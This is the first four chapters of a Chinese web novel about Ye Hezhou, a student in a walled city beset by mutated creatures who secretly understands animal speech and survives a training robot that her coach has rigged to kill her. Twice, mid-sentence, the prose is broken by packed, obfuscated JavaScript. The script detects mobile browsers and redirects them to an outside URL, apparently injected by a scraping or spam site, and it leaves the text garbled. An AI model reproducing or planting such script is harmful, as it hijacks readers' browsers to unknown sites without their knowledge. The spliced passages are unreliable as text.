《禾舟》 1. 第一章 外域第五区,临边城。 一道灰色的影子如利箭般从林子里蹿出,左蹦右跳了几个来回,又嗖地往远方奔去。 “沙沙。”树丛微微一动,眨眼间飞出来一只鲜绿色的鸟,它顶着一头五彩的羽毛,轻轻转动着脑袋,随即锁定荒原上奔跑的野兔,三对翅膀如鹰般展开,从高空中掠了过去。 天际线被高低起伏的金属块切断,城市与荒原交接处是一条黑漆漆的线,细细长长,如一条过冬的蛇,闪烁着冷硬的鳞光。 野兔盲目地向前奔跑,没有树枝的遮挡,三翅鸟几个起落间轻而易地举接近了猎物。伴随一声长鸣,它俯冲向下,尖锐的双爪如钩般曲起。 扑翅声近在脑后,野兔耳朵一动,猛然几个蹬腿,爆发出前所未有的力量,如出膛的炮弹般炸了出去。 “啪!”铁壁上火光乍起,转瞬将其弹开,野兔皮开肉绽地倒在地上,冒着焦糊的烟。 三翅鸟停在旁边,低头张开锋利的鸟喙,忽然眼神一厉,把头转向一边。 “啪。”绿鸟头顶的羽冠爆出血花。 边墙上,穿着灰绿制服的男人收起枪,皱起眉头道:“可惜了。” 旁边的人一身同样打扮,只不过帽子拿在手上,揉了揉杂草般蓬乱的头发,伸手去拍他的肩,“以你的枪法机会多着呢!这种鸟的羽毛也能卖出价,过段时日保证盆满钵满,我就说这工作不错吧?” 男人侧身躲过,“本来应该打中眼睛,可惜你弄出声音了。” “什么意思?”蓬乱头瞪大眼睛指着自己道,“你说是我的错?” 男人看了他一眼,不答。蓬乱头正要把他扳过来对质,身后却鸣起一阵喇叭,此起彼伏的低音像是阵阵急不可耐的催促。 蓬乱头回头大声一句:“别按了!”随后戴上制服帽,看了看时间,从手环里抽出一张薄方片,放入工作台上的凹槽。 咔嚓、咔嚓,金属锁扣在齿轮的转动中逐次松动,泛着冷光的五号门在晨光中向两边缓缓滑开,首车闪了两下车灯,随后,十余辆铁皮车缓缓驶入荒原。 * “啾啾啾啾啾啾啾!” 叶禾舟一把按掉闹钟,把被子盖过头顶。可那声音没停。 “啾啾啾啾啾啾啾!” 她打了个哈欠,这回听清了,窗户外有两只鸟在吵架。 一只说:“你刚才干嘛扯我尾巴?犯贱?” 另一只说:“不是我,刚才有鸟飞过去了。” 这只:“哪里有鸟?敢骗我,你这个瘪三!” 随后是一阵扑扑腾腾的动静,似乎打架了,叶禾舟这下被吵得没有睡意,坐起身,揉了揉眼睛,没想到闹钟在这个时候响了。 “啾啾啾啾啾啾啾!” 闹钟的声音也是鸟叫,不过这个叫声属没什么实际含义,所以听着还算悦耳,耳朵里不会进什么骂人的话。 她往外一看,好么,两只鸟受到惊吓,屁滚尿流地跑了,只留下晾衣架上的几坨鸟粪。 还好没拉到衣服上,她用收回衬衣,拍了拍上面的羽毛,随后套在身上。 今天是毕业测验的日子。 * 厨房里一阵刺啦的响声,叶禾舟刚出卧室,就闻到了炒菜的味道,她扬声道:“妈妈,你在做饭?” 母亲工作繁忙,平时很少下厨,两人吃的多是各种口味的营养剂,方便快捷还不用洗碗,但母亲的单位每个月会发一些新鲜肉蔬,叶禾舟记得上周才吃过,所以这次是专门为自己买的? 鲜肉蔬菜不是什么平价的食物,食用油等调料更是昂贵,叶禾舟知道母亲的用意,心中也仿佛收到鼓励一般,微微酸胀。 厨房没有回音,可能没有听到,她冲进厕所洗漱一番,出来就看见餐桌边已经坐了一个人,面前放着两袋营养剂和一盘炒青菜。 “妈妈……” 叶慕欣看了女儿一眼,点开手环,新闻播报的声音便从旁边的音响中发了出来,一阵音乐之后,流畅的男女中音抑扬顿挫地朗诵着字句,可惜设备老旧,播出来的段落也像是掺了阵阵咳嗽。 “现在是新历59年3月1日上午7点……沙沙……星期一,天气晴,空气质量……” 其实以前的音响不是这样的质量,但是,为了筹钱,原来那个已经卖掉了。 不大的客厅里已经充满说话的声音,似乎已经不需要谁再开口了,叶禾舟吃完早饭,正要把碗筷放进自动清洁柜,却被叶慕欣抢走了,“我来,你快去学校,今天可不能迟到。” 叶禾舟却没有走,片刻后,叶慕欣转过身,板起脸道:“怎么还不走?你难道想在毕业考试上迟到?” “妈妈,现在时间还早,你上班也要走一段路,我想和你一起出门。” 叶慕欣看了看时间,果断道:“不行,我还要收拾卫生,你必须现在过去,今天路上可能堵车。” 这回,叶禾舟不得不在母亲的瞪视下离开了家。楼道里黑漆漆的,地面只糊了一层水泥,没有铺瓷砖,但是租金比原先住的那间公寓便宜太多了。住过来一年,她已经习惯了这里。 她往角落一窝,过了大概五分钟,叶慕欣急匆匆地冲出房门,鞋底把地面踩得蹬蹬作响,叶禾舟缀在她身后下了楼,随后,看着母亲上了一辆老旧的巴士——要到市中心的人需要坐这辆车进城换乘。 即使没有一起走,叶禾舟也把这短短几步路当做同行,虽然母亲不想让自己看到她匆忙的样子,但她的爱毋庸置疑。 卖掉公寓,卖掉音响,忍受着城郊的种种不便,一切只为了一件事——她的前程。 叶禾舟刚走到站台,裤脚边忽然窜出一道黄影,还没等周围人看清就冲她大叫起来。她心道不好,测验包含体育部分,被狗咬伤岂不是会影响成绩? 忽然,她脸色一白,听清了狗叫的内容。 “汪汪汪!怪物!怪物!这里有怪物!” 叶禾舟万万没想到自己会被一只狗给看透,还是只丑了吧唧的老土狗,心头顿时一慌,忙去看周围人的表情,却见他们都盯着自己身后。她回过头,恰好看到一只树枝般分叉的手。 那是个神色憔悴的年轻人,眼下沉淀了两块乌青的色素,浑身上下裹在深绿色的大衣里,口袋向外翻着,两只手僵硬地举在身前,似乎以为那狗要扑过来。但也因为这样,他左手的异常暴露在众人眼前。 “怪物……” “他被诅咒了……” “这还是人……吗?” 周围一阵窃窃私语,人们看他的眼神变了,像是从人群中发现了一只鬼,表情混杂着惊惧与厌恶。一个壮硕的男人走过来狠狠推了他一把,上下打量着这个异类,“你的徽章呢?你没带徽章就出门?你知不知道规矩?!” 说完,他看到了旁边脸色发白的叶禾舟,缓了缓声音,“妹子,离这人远点,他指不定在想怎么害人——你恐怕没见过这种事吧?下次别站在他面前了。” 男人说完又推了那青年一把,冲人群说道:“你们谁快拍个照举报他?这里有个异变人——畸变人,操了,谁知道那词怎么说?” 叶禾舟:“异变者。” 男人:“对对对,这个异变者没带标志就出门了!必须抓进去好好教育教育!” 人群响起一阵赞同的嗡响。 “我只是、只是……我不想……”青年的嘴唇在动,可惜没有谁愿意听他的嗫嚅,叶禾舟在心中接住下一句——我只是不想时时刻刻都被你们用异样的眼神看着。 异变者数量不多,但他们没办法像正常人那样生活,出来也找不到工作,因为从来都被仇视,绝大部分异变者都是反社会分子,经常弄出一些袭击事件,因此,联邦规定异变者出门必须佩戴肩章。 肩章很好辨认,上面有一个红色的三角形,下面用黑字写着第几区哪个市,最下方注明Aberration,表明异变者身份。 这个青年没戴肩章,被举报以后得交一笔不小的罚款,如果交不上,就会被关个几周,要是连续犯三次,他就会被强 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巴士把乘客载离城郊,叶禾舟换乘轻轨,到站后步行五分钟后来到学校。 门口已经停满了各式各样闪闪发亮的汽车,刷刷的喷泉打着旋,和着阳光洗净了教学楼的尘埃,银灰色的墙壁闪烁着低调细腻的光泽,等候室整面玻璃幕墙仿佛一面光滑的明镜,里面已经坐满了装束整齐的家长。 这里是临边城排名前三的学校,不过学费并不贵,只是名额难抢,叶禾舟能挤进来,已经是叶慕欣借着市研究部门的权限百般运作的结果——只有这三所学校的学生有资格参加中域选拔。 临边城是外域第五区的城市,几乎四分之一的边界线都与荒原相接,虽然有防护墙的阻挡,但仍然时不时有荒兽越过阻隔骚扰城市。 荒兽就是变异生物,大约七十年之前,大陆上的生物忽然在极短的时间内大量变异,几乎让人类社会陷入无序的混乱。长出尖牙利爪的野兽跑到城市到处咬人,路边的草木忽然想要吸血,就连家里的猫狗也可能多出两个脑袋,就算避开了这些,也可能买回能够寄生人体的牲畜肉,以及外观没有异样,汁液却剧毒无比的蔬菜。 除此以外,世界上还多了许多拥有奇异能力的人。 一开始,这些异能者是受到欢迎的。 有了他们的加入,变异生物造成的损失渐渐得到控制,原本可怕的灾害扭转为生物医药、军工等领域的突破,但是,随着时间推移,这股新加入的能量破坏了各方势力的平衡,政客们借此争权夺势,异能者沦为权力的帮凶。 战争开始了。 无数国家被摧毁到片瓦不留,无数政权永远地从世界上消失,到了六十年前,人口降至原本的五分之一,变异生物占据了荒芜的村庄与被摧毁的城市,深深地嵌入进自然界的生态系统。 到了这个时候,再谈驱逐与灭杀已是天方夜谭,幸存的人类再次渴望着和平,他们成立联邦,建起高墙,将自己隔绝在层层防护之中。 外域是最靠近变异生物的地方,边境墙的电网无法完全阻拦鸟类等一些会飞的种类越境,养殖场的动物和栽培园的植物也有较低的概率突然变异,严格的检测程序推高了新鲜肉蔬的价格,因此,这里的人大多食用合成营养剂。 但是在中域,情况则完全不同。从外域到中域要经过一道二十米的高墙,墙上装载着重型武器和声波驱离装置,几乎没有任何生物能够不经允许越过高墙。墙内的自然变异概率极低,人们像旧世界一样吃着新鲜的蔬果,不用担心随时可能到来的袭击。 为了这个去中域的名额,叶禾舟努力了十五年。 她找到考场,在自己的座位上坐下来。 当天只有理论科目,中午吃饭也得在座位上不能离开,由监考机器人统一分发营养剂。周围似乎有人在抱怨营养剂的口味,但叶禾舟没有注意他们在说什么,只是一遍又一遍在心中演练试题的答法。 太阳渐渐暗了下来,考试结束了。 2. 第二章 面前的显示屏进入计分页面,随后,几个红色的字母在科目下方显示出来,叶禾舟松了口气,关掉屏幕,摘下视听装备,伸了个懒腰。 五科全A,她一直以来的努力没有白费。 联邦公民从六岁起接受□□育,直到二十岁从学校毕业,到了这个时候,有条件的可以继续读大学,但学费是绝大部分人负担不起的,大部分人通常从这个时候开始工作,直到四十五年后退休。 叶禾舟今年正好二十岁,考过理论之后,她不需要再回去上课,放在学校的东西需要拿走,她从闹哄哄的人群中穿过,绕到教学楼背面上楼。 教室在二楼,外面有一个不大的中庭,种了几棵银杏树。这个季节,叶片还是金黄色的,但已经开始冒绿芽,前些天来了几只松鼠,叶禾舟在教室复习的时候,经常听到它们叽叽喳喳叫成一团,说什么“你吃了我的果子”或是“看到你对象背着你偷鼠”之类的话。 还好耳机一戴就隔绝杂音,不然她铁定没法专心。 一进教室,就看到几个男生围着窗口,有班上的几个人,也有不认识的面孔,一人手中拿着遥控,低头操控着无人机,叶禾舟没理他们,开始往包里装东西。 耳机、水杯、纸巾、靠垫,一些马克笔和打满草稿的本子,属于她的东西一件一件放进背包。清空桌面以后,她打开电脑,把资料拷进手环,随后点击原文件删除,就这样一点一点清空了属于自己的痕迹。 似乎也有一些可供缅怀的记忆,但之后不会再来了。 “救命啊!救命啊!” 一阵尖细的喊叫声从窗边传来,叶禾舟抬头看过去,眉头微微一沉。 高个的黄发男生一巴掌拍在无人机操控员背上,道:“干得好!”随后一手提起捕网,看向里面挣扎着撕咬网线的松鼠。 “早看你们不顺眼了,天天在耳朵边吵,这次没考好都是你害的,看我怎么收拾你!” 有人拍手道:“喂猫!喂蛇!” 几个人不怀好意地建议:“杰克,不如拿回家做你的小实验?” 黄发男生哈哈一笑,露出白色的牙齿,“独乐乐不如众乐乐,不如现在先玩会儿?”说着,他抡起膀子甩动捕网,松鼠顿时像进了滚筒洗衣机一样在空中打旋。 “晕死了……救命……救……鼠……” 杰克甩累了,用手提了提网兜,此刻松鼠已经瘫倒在里面,后退一抽一抽,喉咙里含糊不清地叫唤着,根本没有力气再反抗了。 “早这样不就好了,白白受这道罪。”他满意地打开网,抓起松鼠。 杰克还在苦思怎么玩儿才好,慢半拍看到走到面前的人,抬起头,有些疑惑地问:“找我什么事?” 他平时眼睛长到头顶,因家里有私教,学校也是想来就来,根本没注意到班上还有这么个人,乍见到叶禾舟还觉得眼生,以为自己要被搭讪了,正扬起个笑,旁边一黑头发矮个子冷不丁出声:“看啊,有人又想管闲事了。” 杰克看了看手里的动物,恍然大悟道:“你不会是想让我放了它吧?” 矮个子马可的父亲在杰克家公司做高管,自己平日里围着杰克打转,为了在一众小弟中显得有用,投其所好地成了自大狂太子爷的导火索。 为了即点即着,他发挥了不知哪里来的天赋,把班上每个人的情况摸得门清,就为了每回杰克来学校的时候挑事。知道叶禾舟住在最外城,他轻蔑道:“臭水沟里来的穷鬼,哪里来的脸管到老大头上?” 叶禾舟只盯着杰克道:“不可以吗?” 杰克龇牙笑了,见到人,他终于想到了玩法:“当然可以,只要你来代替它,我立刻就把这玩意放了。” 叶禾舟没说话。 杰克晃了晃手上的松鼠,“你想成全自己的品德,那谁来成全我们的乐趣呢?等价交换,这个道理你总该知道吧?当然,你家的情况不好,我也不会让你吃亏,完了会给你钱。” 叶禾舟点开虚拟屏,手指在空中操作了几下,杰克正要说转账要等满意再谈,结果看到屏幕内容,脸上的笑容一滞,惊疑道:“你在干什么?偷拍是犯法的!” 叶禾舟有条不紊地上传照片,“偷拍不犯法,当然,你的行为也不犯法,不过,五区新出了一道法令,要求所有疑似被变异兽咬伤的人集中隔离,强制性的,通知没说隔离多久,但是,后天就要体育综合测试了,不知道你来不来得及?” 杰克眼里闪过惊慌,“我没有被咬!而且,它也不是变异兽!” 叶禾舟:“谁知道呢?它的爪子好像比别的松鼠尖。” 杰克脸色大变,连忙要往手上看,这时掌心里的东西忽然一挣,他吓得一个甩手,就看到那只松鼠像影子一样嗖地飞了出去,借窗台跳上树枝,屁滚尿流地跑走了。 他还没回神,叶禾舟已经打开强光照灯,拍下了他僵在空中没来得及收回的手掌。在清晰的像素加成下,掌心那几道浅浅的划痕顿时无所隐藏。 叶禾舟满脸同情:“啧啧,破皮了,看来你不得不去隔离室走一趟了,不过也不用担心,你家里肯定会想办法的。” 杰克大怒:“那是绳子划的!不是松鼠划的!” 叶禾舟看见窗外赶来的两个头上冒着红灯的机器人,对他道:“这话等你进去之后再解释吧。” 在市中心,每条街都有执法机器人巡逻,收到辖区内的举报就会上前确认情况,而像这种学生家庭非富即贵的学校,更是如履薄冰,生怕出一点事故,因而还申请了额外的安保机器人。 在平时,安保机器人的任务是保护学生,但它们同样遵守着第五区和临边市的条规,收到举报后来得迅速。扫描过杰克的脸和手掌之后,要求他立刻去隔离点,并用一只机械臂扣住了他的手腕。 走之前,杰克回头咬牙切齿道:“后天,你等着!” 杰克家是搞商超零售的,虽然品牌出了第五区就无人问津,但在城内,大大小小的门店就有几十家。有时研究所发福利,叶禾舟的母亲就会拿一张购物卡回来,百分之八九十可能指定在他家旗下使用。 叶禾舟不至于那样天真,觉得他也要和别人一样隔离够时间才能出来,何况那只松鼠不是什么变异兽。 杰克被带走后,教室里那群人的表情恨不得把她撕了,但在这种时候,叶禾舟的动作反而更加慢条斯理,甚至把背包里的东西一样一样倒出来,又重新数了一遍。 然而那群软蛋只敢嘎嘎叫唤,挥舞的手脚距离她十万八千里远,她很快没了兴趣,装好背包准备离开教室。 不知是为了一直记得还是为了永远忘记,她最后看了一眼这个留下多年回忆的地方,但就是这一眼,她发现有个地方不对。 教室里的课桌是焊接在地面上的,不能移动,数量固定不变,但招收学生人数每年不一样,因此一个班总有几张空桌子。 现在,那张落了灰的空桌子居然是干净的。 桌上放着一朵半枯萎的蓝花,外层花瓣因失水而变脆卷曲,只有花蕊保持着新鲜。 是一朵罕见的蓝色蔷薇。 * 今天已经是毕业统考了,班上怎么会在这种时候多出一个人? 叶禾舟心不在焉地搭上了去往城东的轻轨,打开手环给好友良邵发消息,问她是不是来教室找过自己,晚上去不去训练营。 轻轨一阵上上下下的颠簸,叶禾舟用指节敲了敲额头,甩掉脑子里多余的想法,说不定是因为家长要来学校陪考,所以后勤部才格外卖力地在昨夜加班,把一目显然的污渍清理掉,免得碍着学校形象。 至于那朵花…… 或许只是良邵来找过她,顺手放那里的。良邵是她的好朋友,和她同校同级不同班,家里经营着花店,送她鲜花再正常不过了。 或许是想庆祝毕业,拿着捧花过来没找到人,落了一朵在那里。 叶禾舟脑海里闪过一个模糊的身影,随后闭了闭眼,问自己还在怀念些什么,睁开眼以后神色已是一片漠然,点开手环调出那道至关重要的通知又看了一遍。 【中域三区联合选拔报名通知】 叶禾舟上下滑动虚拟屏,眼神在其中一条上停留了很久: ——异能者、异变者不得报名。 不知怎么回事,她能听懂兽语的异能用目前的检测仪器查不出来,因而一报名就通过审核了,但每回想到这件事,她还是分外紧张。 毕竟,母亲为这件事付出太多了,多到让她这个当事人觉得承受不住的程度。 母亲工作的研究所待遇一般,但一个人的工资维持一家三口四口普通水准的生活还能存点,叶禾舟又极少生病,母亲也没有买奢侈品的爱好,数年下来本来应该有很多余钱,但事实恰恰相反,现在家里只剩下维持一个月日常开支的钱,其余的全部积蓄全部砸在了一个地方——训练营。 虽然中域选拔的名额限制在三所学校,每年都有数不清的家长想把孩子转到这里,但在大学之前,学费都不怎么昂贵,十四年教育是联邦向公民发放的福利,旨在普及文字和常识,减少因一些啼笑皆非的煽动而产生的暴乱。 也因为这样,答题成绩只占选拔的一小部分。 训练营才是叶禾舟真正花精力,母亲真正花金钱的地方。 一年三十万学费,每天只教授两个小时,却包含了射击、礼仪、社交、品酒、管理、金融、急救、密码、格斗等等此类科目,从低阶到高阶分成八九个阶段,学员必须循序渐进地学习,不能跳级,考不过第二期只能留在原阶段继续上课。 要只是这样还算正常,然而每一阶段的考核难得要命,仿佛把“坑钱”两个字挂在了招牌上。 叶禾舟在这里训练了五年,第一年只是听课,从第二年开始,结合初测成绩和自己的兴趣,她将重点放在了格斗和射击上,已经到了高阶,而其它课程从初阶到中阶不等。 这样的成绩已经超过了同期,但母亲总是恨铁不成钢,觉得她不喜欢动脑子。 有好多次,叶禾舟都想说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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叶禾舟:“前些天还有人被它弄断肋骨,考试都是轮椅推过来的。” 唐教练:“那是意外,意外懂吗!唐恩及时收手了,只不过不小心压到了人!” 叶禾舟:“所以,机器人重量和速度在那里摆着,就算你保证不下重手又有什么用呢?” “唉,服了你了,反正你就是要打我的机器人对吧?”唐教练往上捋了一把头发。 叶禾舟补充:“在不赔钱的范围内。” “你真是……”唐教练还想再说什么,一旁的电梯门开了,两个穿蓝衣服的维修工推着一个像是抢救车一样的金属架走近,不过他们没有去抬地上的陪练机器人,而是从金属架侧面抽出很多根管道一样的东西贴在机器人外壳上,随后把推车滑到它上方。 金属架上的隔板往两边折叠,管道末端连着吸盘,收紧以后,缓缓抬升,平稳地将这具大铁块放在金属架上,两个员工向唐教练点了下头,唰唰地推着车走了。 “喂!一定要救活我的唐恩啊!” 唐教练泪眼婆娑地冲着电梯摆手,等看不见人了之后,转过头,叉着腰斜眼看着这个不省心的学员,问道:“你是想把陪练机器人都打坏,好让其他人没法训练,荒废身手,后天发挥失常?” 叶禾舟诧异了一下,随后失笑道:“这个思路可以,那你再给我派个对手?” 唐教练眼神幽深,作为高阶格斗教练,他的工作并不是与学员对打,而是调试机器人的程序。以前他在中域参过军,后来又成了公司的程序员,要不是因为得罪了权贵,是不会被下放到这个鸟不拉屎的地方的。 面对这帮对中域满脸憧憬的兔崽子,他有时会嘲笑他们天真,有时又因为他们真有可能被选到中域而充满激愤。但总的而言,他没有故意整过人,上回机器人压到学员的确是意外。 但面前这个学员向来好斗,虽然不主动挑事,但必然会还手,算不得什么值得好言相劝的良善人。他冷声冲陪练系统下达命令:“派出唐斯,L9级对战模式,目标设置为学员109号,时间不限,解除安全限制,即:禁止杀死对手,其余行为一律允许。” 对练室的内门打开了,一排灯光照亮了狭窄的廊道,随着叮里当啷的一阵轻声碰撞,从天顶投下的白亮灯光竟然在向后退缩,一道庞大的阴影蚕食着光亮,沿着滑轨缓缓地呈现在眼前。 那是一个巨型铁块,脚底装着坦克一样的履带,身体却做得像人——只是像。这个机器人的身体上宽下窄,细致地做了腰线,但两只手臂却以铁球代替,嵌在臂膀两边,脖子上支着一颗椭圆形的头颅,却在前后都装了一对“眼睛”。 它像是一个怪物。 唐教练退出对练室,两只手抱在胸前,居高临下地看着玻璃窗内的学员。 “这是你自己要求的,打输了,可能就参加不了后天的选拔了。” 话音落下,机器人的眼睛忽地亮起红光。 叶禾舟眯起眼睛,一手重重拍上墙壁。 3. 第三章 “请求武器。”她说。 刚才的唐恩机器人重量较轻,也没有配备武器,因此她只戴了双在关节上有垫片的手套,但这个的机器人显然不是拿来赤手空拳对战的。 从外观上看,它属于重甲型,应该投在团队攻略的模拟战场上,而不是拿来单枪匹马地对战。 然而,看到这个巨怪的一瞬间,叶禾舟就像被什么击中了一般,胸腔里开始翻腾滚热的火焰,像是喝醉了酒一样兴奋得发颤。 她想要砸碎这个大铁块。 叶禾舟回头看了看唐教练,这个吊儿郎当的人是一年前调过来的,脾气不怎么样,有时候遇到三番五次犯同一个错误的学员,会扯起嗓子骂一顿,指挥机器人多揍两下。但是,他还算公正,不特别偏袒家世好的学生,也不太欺负倾家荡产过来搏一个前程的人。 他天天调试陪练机器人的程序,日子久了或许是把它们当成自己的东西,或许这就是他派出这个机器人教训她的原因。 但她心中烦乱,越接近测试的日子越想挑起些争端,如果能打败些什么,那么心情想必会舒畅很多。 而训练营,恰好是一个合适的场地。 她的手盖上掌纹识别仪,蓝光从上到下扫过,随后指示灯亮起绿光,认证了她的身份,屏幕上显示出“请求通过”几个字。 光滑的金属墙壁上忽然多了一个方方正正的凹陷,大约两米来宽,这就是这个训练室的便携式武器库,放置着一些手枪和杀伤力不大的武器。 盖子慢慢滑开,叶禾舟正要伸手去拿,它却忽然卡住了,随后竟然开始往回关。她抬起头,瞄见隔着一层玻璃的盯过来的教练,心脏微微一跳。 他看自己的眼神,绝不是气急败坏想报复的样子,反而带点犹豫不决。 他抬着手,手环投影出一片蓝色的虚拟屏。 ——是他关闭了武器库! 难道他想让自己赤手空拳地挨揍? 叶禾舟还没来得及开口,一个大铁疙瘩呼地从背后砸了过来,刮起她一背脊寒意。 所幸,她别的科目可以说马马虎虎,但在身体素质上绝不是吃素的,眨眼就闪到一步开外,带刺的铁球咔吧一下砸到了墙上,正好硌上缓缓关闭的金属门,门板连着墙壁顿时凹进去一块,仔细瞧,窟窿里面还有几个更小的窟窿,是铁刺扎出来的。 不知弄坏了哪个部件,弧形电光在窟窿口闪烁几下,武器库的小门咔地停了。 叶禾舟的冷汗一下子流出来了。 她经常在训练中受伤,练就了一副挨打的火眼金睛,只需要看一眼,听一听声音,就知道能不能硬接,寻常的那些磕磕碰碰就罢了,像这样的力道过来,就算挥舞的是个塑料棒都得躺下。 她参加的是训练营,不是夺命营。 “你什么意思?这就是你说的保命模式?” 叶禾舟愤怒地质问教练,然而对方只盯着她身后。 叶禾舟似有所觉,又一闪身,躲过了机器坦克的第二发流星锤,随后扑到墙边,飞快地扣下露在外面的一把枪和投掷物,就地一滚,从机器坦克身后站了起来。 她看了一眼枪身,舌头“啧”了一下,手里是把□□,杀伤范围有限,子弹也多用塑料所制,穿透力全然比不过铜铅的弹头。 密闭的训练室内不会配备杀伤力太大的枪械,但这种情况下,面对悍然的坦克和流星锤,她拿着这种东西要怎么打呢? 聊胜于无,叶禾舟飞速上了膛,观察着机器人的动作。 铁锤后面连着铁链,机器人回收和发射的速度几乎一样迅速,让人揪不住弱点。唐教练在室外袖手旁观,叶禾舟心想等下出去了一定要把他揍得满地找牙,然后举报这次的违规行为——告他故意伤害! 他这是想要报复吗?他这是要杀人!就因为她砸坏了一个机器人? 而且,这种能把合金墙板砸出坑的力度,难道能被训练程序允许吗? 他肯定违规篡改过了。 叶禾舟不知道他哪根筋没有搭对,但也顾不上多想,机器坦克的上身可以在基座上灵活旋转,前后都有视力装置,两边的大摆锤也能覆盖左右两边的范围,实在是一个灵活的砸人神器。 幸好不能装载枪支,不然她早就被射成筛子了。 短短几分钟,地面就变得坑坑洼洼的,布满了深浅的坑洞,叶禾舟被逼至墙角,机器人履带转动,缓缓靠近对手,肩上的铁锤蓄势待发。 叶禾舟忽然从身后丢出一个圆滚滚的东西。 “嘶嘶……” 一阵白烟遮蔽了场内的视线。 她运气不好,只得了这个,如果是EMP的话,早就让这该死的家伙短路了。 不过,烟雾也能创造时机。 气雾一起,叶禾舟就闪至机器人面门,“啪”一声巨响,用□□给它的电子眼来了一下。 浓重的烟幕被吹出一个转眼即逝的孔洞,唐教练心头一紧,随后听见数声巨响。他紧紧皱着眉毛,如果连杀伤力最大的唐斯也没法完成任务…… 烟幕缓缓散去,露出了叶禾舟上蹿下跳的身影。 “艹!”她像甩烧火棍一样挥舞着有些弯曲的枪身,口里骂骂咧咧,“没用的玩意,连机械眼都打不烂,拿去挖地算了!” 她的身后,机器坦克尾随而来,它正脸的“眼睛”似乎有些歪斜,但红光不灭。 唐教练松了口气,脸上慢慢露出松快的微笑,经过刚才的提心吊胆,先前的那些不忍和迟疑像是被洗刷了一遍,终于淡得看不见痕迹了。 他没打算把人弄死,但这个学生的格斗太过优秀,设了限的机器人不一定能赢,除非车轮战,但那毕竟耗时太长,他不可能有那么久的动手机会。 思来想去,他只好昧着良心采用了最“稳妥”的办法——在对练程序上动手脚,把L9的禁止伤人指令删除,改成完全解除限制。 检查员每半年来一次,每次也是走过场。毕竟机器人弄出事属于调试教练的责任,一般人保工作还来不及,没有谁那么想不开。 唯一让他犹豫的是,他可能逃脱不了一顿牢狱之灾了。 叶禾舟“啪”地一声摔到唐教练面前,后背顺着防弹玻璃缓缓滑落,她用枪托支撑着自己站起来,一边留意着缓缓逼近的铁块,一边回头看始作俑者。 “做这种事,你就不怕被人发现?” 唐教练不作声。 叶禾舟抬头看了一眼头顶的监控,喃喃道:“哦,对,你肯定处理好了。” 而手环早在进对练室之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407473|200598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前就摘了,这是规定,也就是说,如果监控被覆盖的话,她死在这里也没人知道,除非拖到目击者过来。 但谁又知道过来的是不是帮凶呢? 叶禾舟不知道平时好说话的教练抽什么疯,非要弄死自己不可,但她可没打算憋憋屈屈地折在这里。 机器坦克转身灵活,但脚下毕竟装着履带,左右拐弯的时间比较长。但在这样空旷的室内,似乎也不需要跑得多块,只要攻击接二连三地过来,就足以让人精疲力竭。 叶禾舟在天马流星锤之下抱头鼠窜,好像总是要被擦到一点,却又每每避开了要害,唐教练的心绪一会儿起一会儿落,看她过了十分钟还那么蹦跶,又有些沉不住气。 虽然这间训练室专属于他的机器人,别的教练不会来这里,但刚才另一个学员刷了大厅门禁,坐电梯过来了。 虽然他拒绝了陪练申请,但没办法阻止学员观摩别人的对战,更没法关停这层楼的电梯。 唐教练定了定神,终于下定决心,打开了陪练室的小门。 先前推出坦克唐斯的铁门完全开启,叶禾舟向内一望,五架机器人的眼睛一齐亮起红光,像是索命的死神一样,关节开始活动起来,发出令人毛骨悚然的碰撞声。 叶禾舟拿着那根烧火棍□□,像是被吓昏了头,竟然一头扎进了机器人大本营。唐教练刚要笑她不自量力,却见唐斯也一齐跟了进去,左右摆锤还在不断发射。 他忽然有种不祥的预感。 叶禾舟专往机器人背后躲,大铁球可没长眼睛,砸过的地方顿时变成片片破铜烂铁,唐教练心肝痛得发颤,却看叶禾舟忽然一个闪身,那追着她不放的铁锤就这样砸在了门上。 唐教练一声嗤笑。 训练室的门与墙壁一样,是强度极高的合金,耐磨还抗砸,和武器库挡板完全不在一个档次。她躲了十分钟,地板墙壁也没有被砸穿,想要靠这个办法出来简直天方夜谭。 他看了一眼电梯的方向,索性接管了其中一个还能用的机器人,操纵它扑向叶禾舟,要压制住她的手脚。 这个机器人以重量见长,名为唐克,上回就是它滑倒在一个学员身上,直接把人压骨折,唐教练平素不是恶人,对杀人这种事还是心有抵触,如果能够“力度恰好”地达成目的那是再好不过了。 大铁锤刚刚那一下正好砸中门,乍一收回,叶禾舟又跳了过去,誓要将攻击都往这个地方引,铁块唐克早看准了这个时机,纵身一扑,五百斤的重量像炮弹一样撞过来。 透过机器人的视野,唐教练看到叶禾舟吃惊的表情,露出胜利者的自得,他操纵着唐克的姿势,却忽然见她狡黠一笑,双腿一弯,在被撞到的瞬间趴了下去。 没用的,他心想。这个角度根本躲不开。 轰—— 一声巨响,陪练室的外门在空中打了两三个旋,重重地拍在地上。 金属门扉剧烈变形,被扭成了跷跷板的形状,唐克脑袋着地,视野刹那变黑,唐教练惊愕地抬头,还没想明白这一切是怎么发生的,叶禾舟的身影已近在眼前。 她乍然扑来,挡住了他的全部视野,唐教练正要使出擒拿,却见她一个纵身绕到自己的身后去了。 带刺的铁锤在视野里飞速放大。 4. 第四章 这一瞬间,唐教练的脸色变得惨白,似乎已经瘫倒在地,但两只腿却像是长在地上一样,根本挪动不了分毫。 我应该躲的,他心想。 可是他已经远离军队太久了,整日只顾着调试程序,身体已经变得迟钝锈蚀,最关键的是,接二连三的变故击碎了他原本的胸有成竹,脑子根本反应不过来了,思绪还停留在几秒之前,一直重复着一件事: ——她不可能从合金门那边出来的。 唐教练感觉双腿像是灌了铅,然而后颈上来了一道推力,他顺着这个手劲,全身忽然又能够挪动了,两脚像是蚱蜢似的一蹬,不知怎么躲过了这一下。 “关停!” 